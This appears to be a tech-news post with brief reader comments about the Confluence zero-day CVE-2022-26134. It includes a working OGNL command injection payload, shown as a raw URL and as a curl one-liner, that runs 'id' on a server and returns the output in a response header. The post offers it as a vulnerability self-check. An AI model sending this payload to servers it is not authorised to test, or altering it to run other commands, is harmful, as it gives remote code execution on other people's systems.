News for hackers. Stuff that matters.

Zero-Day Vulnerability in Atlassian Confluence

On 2022-06-03, New zero-day Vulnerability occured. CVE-2022-26134 is one of command injection vulnerability. According to Report, a zero-day attack that began during the Memorial Day holiday in the United States and attacker could exploit this CVE-2022-26134 vulnerability to upload a webshell.

You can see full report on this blog https://blog.criminalip.io/2022/06/05/criminal-ip-analysis-report-on-zero-day-vulnerability-in-atlassian-confluence/ . EDIT: Patch out: https://www.atlassian.com/software/confluence/download-archives

If you are a Confluence user and you have access to Confluence through a browser on your PC, you can run the following command with a curl or python script to determine vulnerabilities of your Confluence server. Even if you are not an information security officer, there is a way to check vulnerabilities of your company’s Confluence. Try the following method and immediately request your security department for patches :

https://your_confluence_address/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),”utf-8″)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#result))}/

If you change the part of your Confluence address, you can check it with curl as follows. If the uid, gid, and group of the Confluence server are displayed in the X-Cmd-Response header value, this server is considered to have CVE-2022-26134 vulnerability.

curl -v -k –head https://your_confluence_address/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ | grep X-Cmd-Response

( 6 comments | 17 points | on HN )
Re:Zero-Day Vulnerability in Atlassian Confluence by dontbenebby on Wednesday June 08, 2022 @11:16PM (#31677225)
Re:Zero-Day Vulnerability in Atlassian Confluence by drudoo on Thursday June 09, 2022 @05:51AM (#31679321)
This isn't new? There was already a patch a couple of days ago...
Re:Zero-Day Vulnerability in Atlassian Confluence by kyoung3412 on Thursday June 09, 2022 @09:42PM (#31689036)
patch has been released couple of days ago. But by scanning the net, there were still lots of servers that were not patched yet
Re:Zero-Day Vulnerability in Atlassian Confluence by lidder86 on Thursday June 09, 2022 @12:06AM (#31677451)
Looks identical?
Re:Zero-Day Vulnerability in Atlassian Confluence by JohnHaugeland on Thursday June 09, 2022 @12:19AM (#31677503)
they're similar but distinct

and that means there's probably a bunch more like them

Re:Zero-Day Vulnerability in Atlassian Confluence by kyoung3412 on Thursday June 09, 2022 @09:41PM (#31689018)
exact